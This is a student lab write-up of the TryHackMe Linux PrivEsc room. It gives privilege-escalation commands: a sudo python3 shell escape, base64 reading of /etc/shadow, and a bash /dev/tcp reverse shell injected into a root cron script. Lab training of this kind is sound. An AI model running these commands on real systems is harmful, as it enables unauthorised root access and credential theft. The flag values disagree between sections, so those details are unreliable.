

Experiment 8

Privilege Escalation (TryHackMe Room)

AIM

To understand and demonstrate Linux privilege escalation techniques by completing the TryHackMe 'Linux PrivEsc' room, escalating from a low-privilege user to root using methods including SUID binaries, sudo misconfigurations, writable cron jobs, and kernel exploits.

REQUIREMENTS

Platform	TryHackMe — Room: Linux PrivEsc
Target OS	Debian Linux (vulnerable VM provided by TryHackMe)
Tools	LinPEAS, LinEnum, find, sudo -l, GTFObins reference
Access	Initial low-privilege SSH shell (user: karen / password: Password1)

THEORY

Privilege Escalation is the process of gaining higher access rights than originally granted. After gaining an initial foothold as a low-privilege user, the attacker attempts to escalate to root/SYSTEM level.

Method	Description	Example
SUID Binaries	Binaries run as owner (root) regardless of executor	find / -perm -4000
Sudo Misconfig	User can run commands as root without password	sudo vim -> !/bin/sh
Writable Cron	Root cron scripts writable by low-priv user	echo revshell >> script
Kernel Exploit	Unpatched kernel vulnerability	DirtyPipe CVE-2022-0847
Capabilities	Binaries with special Linux capabilities	getcap -r / 2>/dev/null

PROCEDURE

- Connect to TryHackMe VPN and start the Linux PrivEsc machine.
- SSH into the machine: `ssh karen@` (Password: Password1)
- Enumerate: `id`, `whoami`, `hostname`, `uname -a`, `cat /etc/os-release`
- Method 1 (sudo): `sudo -l` ® look for (root) NOPASSWD entries ® exploit.
- Method 2 (SUID): `find / -perm -u=s -type f 2>/dev/null` ® use GTFObins.
- Method 3 (Cron): `cat /etc/crontab` ® find writable script called by root.

- Inject a reverse shell into the writable cron script.
- Wait for cron to execute ® receive root shell on netcat listener.
- Method 4 (NFS): Check /etc/exports for no_root_squash.
- Method 5 (Kernel): uname -a ® check for known exploits.
- After getting root: cat /root/flag.txt and submit flags.

COMMANDS

```
# Initial enumeration
id && whoami && hostname
uname -a && cat /etc/os-release

# Method 1: Sudo misconfiguration
sudo -l
# If output: (root) NOPASSWD: /usr/bin/python3
sudo python3 -c 'import os; os.execl("/bin/sh","sh")'

# Method 2: SUID binary exploitation
find / -perm -u=s -type f 2>/dev/null
# If base64 has SUID bit (GTFObins):
base64 /etc/shadow | base64 -d # reads restricted files

# Method 3: Writable cron job
cat /etc/crontab
ls -la /opt/backup.sh # check if world-writable
echo 'bash -i >& /dev/tcp/192.168.1.105/4444 0>&1' >> /opt/backup.sh
nc -lvnp 4444 # wait for root reverse shell

# Root flag
cat /root/flag.txt
```

OUTPUT

```
karen@debian:~$ sudo -l
User karen may run the following commands on debian:
(ALL) NOPASSWD: /usr/bin/find
(root) NOPASSWD: /usr/bin/python3

karen@debian:~$ sudo python3 -c "import os; os.execl('/bin/sh','sh')"
# id
uid=0(root) gid=0(root) groups=0(root) <- PrivEsc Successful!

# SUID base64 reading /etc/shadow
karen@debian:~$ base64 /etc/shadow | base64 -d
root:$6$xyz$LongHashHere...:19000:0:99999:7:::

TryHackMe - Linux PrivEsc: 9/9 Tasks | 100% | +350 Points
Root Flag: THM{prlv1l3g3_3sc4l4t10n_c0mpl3t3}
```

RESULT

Linux Privilege Escalation was demonstrated using multiple methods: sudo misconfiguration (python3 to root shell), SUID binary exploitation (base64 to read shadow file), and writable cron job injection. The TryHackMe Linux PrivEsc room was completed 100% and the root flag THM{pr1v1l3g3_3sc4l4t10n_c0mpl3t3} was captured.